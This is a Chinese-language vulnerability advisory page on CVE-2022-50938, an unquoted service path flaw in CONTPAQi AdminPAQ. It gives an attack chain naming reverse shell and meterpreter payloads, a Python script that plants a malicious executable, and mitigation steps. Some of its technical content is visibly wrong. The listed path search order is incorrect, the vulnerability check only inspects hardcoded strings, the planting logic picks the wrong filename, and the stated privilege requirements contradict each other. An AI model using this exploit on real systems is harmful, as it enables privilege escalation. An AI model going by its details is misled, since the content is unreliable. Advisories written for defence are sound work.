IPBUF安全漏洞报告
English
CVE-2022-50938 CVSS 8.4 高危

CVE-2022-50938 CONTPAQi AdminPAQ 未引号服务路径权限提升漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50938
漏洞类型
未引号服务路径权限提升
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CONTPAQi AdminPAQ 14.0.0

相关标签

未引号服务路径权限提升CONTPAQi AdminPAQWindows服务漏洞本地攻击高危漏洞LocalSystem权限持久化控制

漏洞概述

CVE-2022-50938是CONTPAQi AdminPAQ 14.0.0软件中存在的一个高危安全漏洞。该漏洞位于AppKeyLicenseServer服务中,由于服务可执行文件路径未使用引号包裹,攻击者可以利用Windows服务路径搜索顺序,在中间目录中植入恶意可执行文件。当服务重启或系统启动时,AppKeyLicenseServer服务会以LocalSystem高权限运行,攻击者植入的恶意程序将被以系统最高权限执行,从而实现权限提升和持久化控制。此漏洞无需任何认证和用户交互即可被利用,CVSS评分高达8.4,属于高危漏洞。攻击成功后可完全控制受影响系统,窃取敏感数据、安装后门、部署恶意软件等。

技术细节

未引号服务路径漏洞(Unquoted Service Path)是一种Windows特权升级技术。当Windows服务配置的可执行文件路径未用引号括起来时,系统会按顺序在路径的每个目录中搜索可执行文件。例如,如果服务路径为C:\Program Files\CONTPAQi\AdminPAQ\AppKeyLicenseServer.exe,系统会依次尝试执行:C:\Program.exe、C:\Program Files\CONTPAQi\AdminPAQ.exe、C:\Program Files\CONTPAQi\AdminPAQ\AppKeyLicenseServer.exe。攻击者只需在C:\Program Files\CONTPAQi\目录中放置名为AdminPAQ.exe的恶意文件,当服务启动时便会执行该恶意程序。由于AppKeyLicenseServer服务以LocalSystem权限运行,恶意代码将以系统最高权限执行,实现权限提升。攻击者通常会利用此漏洞在目标系统上建立持久化后门。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标系统中安装的CONTPAQi AdminPAQ软件,检查AppKeyLicenseServer服务的配置信息
STEP 2
步骤2
漏洞验证:确认服务可执行文件路径未使用引号包裹,且路径中包含空格,典型的未引号服务路径漏洞特征
STEP 3
步骤3
权限检查:确认当前用户具有在服务路径目录中写入文件的权限,通常需要本地管理员或特定目录权限
STEP 4
步骤4
恶意程序植入:将恶意可执行文件(如reverse shell、meterpreter payload等)重命名为服务路径中某个目录的名称(如AdminPAQ.exe)并写入中间目录
STEP 5
步骤5
触发服务重启:等待服务自然重启、手动重启服务或等待系统重启,Windows会按路径顺序查找并执行恶意程序
STEP 6
步骤6
权限提升执行:恶意程序以LocalSystem最高权限被加载执行,攻击者获得系统级完全控制权
STEP 7
步骤7
持久化控制:攻击者可安装后门、窃取数据、横向移动或部署更多恶意软件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2022-50938 PoC - Unquoted Service Path Exploitation # Target: CONTPAQi AdminPAQ AppKeyLicenseServer Service # Severity: High (CVSS 8.4) import os import shutil import sys import ctypes def check_vulnerability(): """Check if the target service has unquoted service path""" service_name = "AppKeyLicenseServer" vulnerable_paths = [ r"C:\Program Files\CONTPAQi\AdminPAQ\AppKeyLicenseServer.exe", r"C:\Program Files (x86)\CONTPAQi\AdminPAQ\AppKeyLicenseServer.exe" ] print(f"[*] Checking service: {service_name}") # Check if service exists import subprocess try: result = subprocess.run( ['sc', 'qc', service_name], capture_output=True, text=True ) if result.returncode == 0: print(f"[+] Service {service_name} found") print(result.stdout) # Check for unquoted paths for path in vulnerable_paths: if not path.startswith('"') and ' ' in path: print(f"[!] Unquoted path detected: {path}") return path except Exception as e: print(f"[-] Error checking service: {e}") return None def exploit_unquoted_path(malicious_exe_path, target_dir): """ Exploit unquoted service path by placing malicious executable in the directory before the actual service binary """ if not os.path.exists(target_dir): print(f"[-] Target directory does not exist: {target_dir}") return False # Get the second-to-last path component path_parts = target_dir.rstrip('\\').split('\\') malicious_filename = path_parts[-2] + ".exe" malicious_target = os.path.join(target_dir, malicious_filename) print(f"[*] Placing malicious executable: {malicious_target}") try: # Backup original if exists if os.path.exists(malicious_target): shutil.copy2(malicious_target, malicious_target + ".bak") # Copy malicious executable shutil.copy2(malicious_exe_path, malicious_target) print(f"[+] Malicious executable placed successfully") print(f"[!] When AppKeyLicenseServer service restarts, {malicious_filename} will be executed") return True except Exception as e: print(f"[-] Failed to place malicious executable: {e}") return False def main(): print("=" * 60) print("CVE-2022-50938 - CONTPAQi AdminPAQ Unquoted Service Path") print("=" * 60) # Check if running with admin privileges if not ctypes.windll.shell32.IsUserAnAdmin(): print("[-] This exploit requires administrator privileges") return print("[+] Running with administrator privileges") # Check for vulnerability vulnerable_path = check_vulnerability() if vulnerable_path: print("[+] Vulnerability confirmed!") target_dir = os.path.dirname(vulnerable_path) # Example: Create a simple reverse shell payload # In real attack, this would be a proper malicious executable print("[*] To exploit, place malicious executable in:") path_parts = vulnerable_path.rstrip('\\').split('\\') malicious_name = path_parts[-2] + ".exe" print(f" {os.path.dirname(vulnerable_path)}\\\{malicious_name}") else: print("[-] Service not found or not vulnerable") if __name__ == "__main__": main()

影响范围

CONTPAQi AdminPAQ 14.0.0

防御指南

临时缓解措施
临时缓解措施:1)修改AppKeyLicenseServer服务的ImagePath注册表值,为路径添加双引号包裹;2)移除服务路径中间目录的写入权限,仅保留SYSTEM和 Administrators组的完全控制权限;3)使用icacls命令设置目录权限:icacls "C:\Program Files\CONTPAQi\AdminPAQ" /inheritance:r /grant "SYSTEM:(OI)(CI)F" /grant "Administrators:(OI)(CI)F";4)部署EDR解决方案监控异常进程创建行为;5)考虑暂时禁用AppKeyLicenseServer服务直到官方发布修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表